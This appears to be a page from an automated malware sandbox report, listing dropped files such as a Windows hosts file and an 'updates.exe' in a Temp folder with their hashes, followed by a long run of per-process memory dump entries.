92db93c843cbff0cc8d0ea4d5503be85c1a52986b5a89041680d8c287bbf06715c1019e0065b364f4fda1dcf94891366c7c74791f3269704b4100b21a0de9fde

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
4d8d078fbcfa5170ae38216cf89468ad

SHA1
5bf04a3931d46e5ddddaa8fa45a4bc432b9ac923

SHA256
c3b5d0b3c1c16ec699d0e63deb819e2b7ac0eb90d56abee0e90c30f75f537e9a

SHA512
27ef5cb8f6fd7b3eac6229188c79097bc09962ddced4fbae56663eba0091d08d44211a0c7f994e36176be13b90f9fdeb0aa73e633c53998b69c1ecb8f328f84f

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
5KB

MD5
0684960f1127625c7a987862df0a9047

SHA1
8827566f52b386062aee1cb853a91bede04299b2

SHA256
c10285503e78eacbaa3c00e31a8811afbeaaa07049cc650b6ce961164ba497da

SHA512
143cf0a46f6afda8e796eebf3be8e08fbc8c46c45236988ef678aa3f0d1e4ba44130fbd3d63e5abff4e4419f006f378f2a5dc2ef3b152524502c489fa32d2401

Download Submit
\Users\Admin\AppData\Local\Temp\onedrives\updates.exe
Filesize
2.2MB

MD5
d5dfb8447ced11274942ace31b4279d8

SHA1
5a1b36ef9db72321b3d075712a8888bd921a472c

SHA256
5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07

SHA512
92db93c843cbff0cc8d0ea4d5503be85c1a52986b5a89041680d8c287bbf06715c1019e0065b364f4fda1dcf94891366c7c74791f3269704b4100b21a0de9fde

Download Submit
memory/280-124-0x0000000000000000-mapping.dmp

Download
memory/288-55-0x000000001BEC0000-0x000000001C0DA000-memory.dmp

Filesize
2.1MB

Download
memory/288-56-0x000007FEFBCC1000-0x000007FEFBCC3000-memory.dmp

Filesize
8KB

Download
memory/288-54-0x000000013FA70000-0x000000013FCA4000-memory.dmp

Filesize
2.2MB

Download
memory/304-117-0x0000000000000000-mapping.dmp

Download
memory/400-102-0x0000000000000000-mapping.dmp

Download
memory/540-84-0x0000000000000000-mapping.dmp

Download
memory/560-77-0x0000000000000000-mapping.dmp

Download
memory/572-88-0x0000000000000000-mapping.dmp

Download
memory/636-139-0x0000000000000000-mapping.dmp

Download
memory/688-119-0x0000000000000000-mapping.dmp

Download
memory/696-67-0x0000000000000000-mapping.dmp

Download
memory/764-83-0x0000000000000000-mapping.dmp

Download
memory/776-101-0x0000000000000000-mapping.dmp

Download
memory/776-140-0x0000000000000000-mapping.dmp

Download
memory/784-87-0x0000000000000000-mapping.dmp

Download
memory/828-66-0x0000000000000000-mapping.dmp

Download
memory/832-80-0x0000000000000000-mapping.dmp

Download
memory/856-61-0x00000000027E4000-0x00000000027E7000-memory.dmp

Filesize
12KB

Download
memory/856-62-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/856-60-0x000007FEEC700000-0x000007FEED25D000-memory.dmp

Filesize
11.4MB

Download
memory/856-121-0x0000000000000000-mapping.dmp

Download
memory/856-57-0x0000000000000000-mapping.dmp

Download
memory/856-63-0x00000000027EB000-0x000000000280A000-memory.dmp

Filesize
124KB

Download
memory/856-59-0x000007FEED260000-0x000007FEEDC83000-memory.dmp

Filesize
10.1MB

Download
memory/856-64-0x00000000027E4000-0x00000000027E7000-memory.dmp

Filesize
12KB

Download
memory/856-65-0x00000000027EB000-0x000000000280A000-memory.dmp

Filesize
124KB

Download
memory/964-104-0x0000000000000000-mapping.dmp

Download
memory/968-82-0x0000000000000000-mapping.dmp

Download
memory/972-123-0x0000000000000000-mapping.dmp

Download
memory/984-103-0x0000000000000000-mapping.dmp

Download
memory/988-141-0x0000000000000000-mapping.dmp

Download
memory/988-69-0x0000000000000000-mapping.dmp

Download
memory/992-73-0x0000000000000000-mapping.dmp

Download
memory/1000-137-0x0000000000000000-mapping.dmp

Download
memory/1012-70-0x0000000000000000-mapping.dmp

Download
memory/1052-131-0x0000000000000000-mapping.dmp

Download
memory/1064-125-0x0000000000000000-mapping.dmp

Download
memory/1096-133-0x0000000000000000-mapping.dmp

Download
memory/1100-99-0x0000000000000000-mapping.dmp

Download
memory/1120-127-0x0000000000000000-mapping.dmp

Download
memory/1124-143-0x0000000000590000-0x000000000059A000-memory.dmp

Filesize
40KB

Download
memory/1124-94-0x000000013FC00000-0x000000013FE34000-memory.dmp

Filesize
2.2MB

Download
memory/1124-91-0x0000000000000000-mapping.dmp

Download
memory/1124-147-0x0000000180000000-0x000000018001D000-memory.dmp

Filesize
116KB

Download
memory/1176-128-0x0000000000000000-mapping.dmp

Download
memory/1244-76-0x0000000000000000-mapping.dmp

Download
memory/1276-72-0x0000000000000000-mapping.dmp

Download
memory/1332-116-0x0000000000000000-mapping.dmp

Download
memory/1336-126-0x0000000000000000-mapping.dmp

Download
memory/1348-138-0x0000000000000000-mapping.dmp

Download
memory/1372-146-0x0000000000080000-0x0000000000086000-memory.dmp

Filesize
24KB

Download
memory/1372-144-0x00000000000B0000-0x00000000000C1000-memory.dmp

Filesize
68KB

Download
memory/1372-145-0x0000000001D90000-0x0000000001DA2000-memory.dmp

Filesize
72KB

Download
memory/1416-115-0x00000000025DB000-0x00000000025FA000-memory.dmp

Filesize
124KB

Download
memory/1416-107-0x0000000000000000-mapping.dmp

Download
memory/1416-114-0x00000000025D4000-0x00000000025D7000-memory.dmp

Filesize
12KB

Download
memory/1416-113-0x000000001B770000-0x000000001BA6F000-memory.dmp

Filesize
3.0MB

Download
memory/1416-111-0x000007FEEC250000-0x000007FEECDAD000-memory.dmp

Filesize
11.4MB

Download
memory/1416-112-0x00000000025D4000-0x00000000025D7000-memory.dmp

Filesize
12KB

Download
memory/1508-78-0x0000000000000000-mapping.dmp

Download
memory/1544-100-0x0000000000000000-mapping.dmp

Download
memory/1560-134-0x0000000000000000-mapping.dmp

Download
memory/1564-71-0x0000000000000000-mapping.dmp

Download
memory/1564-105-0x0000000000000000-mapping.dmp

Download
memory/1580-97-0x0000000000000000-mapping.dmp

Download
memory/1596-95-0x0000000000000000-mapping.dmp

Download
memory/1624-136-0x0000000000000000-mapping.dmp

Download
memory/1636-135-0x0000000000000000-mapping.dmp

Download
memory/1644-89-0x0000000000000000-mapping.dmp

Download
memory/1644-129-0x0000000000000000-mapping.dmp

Download
memory/1648-122-0x0000000000000000-mapping.dmp

Download
memory/1656-81-0x0000000000000000-mapping.dmp

Download
memory/1668-98-0x0000000000000000-mapping.dmp

Download
memory/1684-85-0x0000000000000000-mapping.dmp

Download
memory/1720-132-0x0000000000000000-mapping.dmp

Download
memory/1724-96-0x0000000000000000-mapping.dmp

Download
memory/1744-120-0x0000000000000000-mapping.dmp

Download
memory/1772-142-0x0000000000000000-mapping.dmp

Download
memory/1872-68-0x0000000000000000-mapping.dmp

Download
memory/1892-130-0x0000000000000000-mapping.dmp

Download
memory/1980-75-0x0000000000000000-mapping.dmp

Download
memory/1984-74-0x0000000000000000-mapping.dmp

Download
memory/2000-79-0x0000000000000000-mapping.dmp

Download
memory/2044-86-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads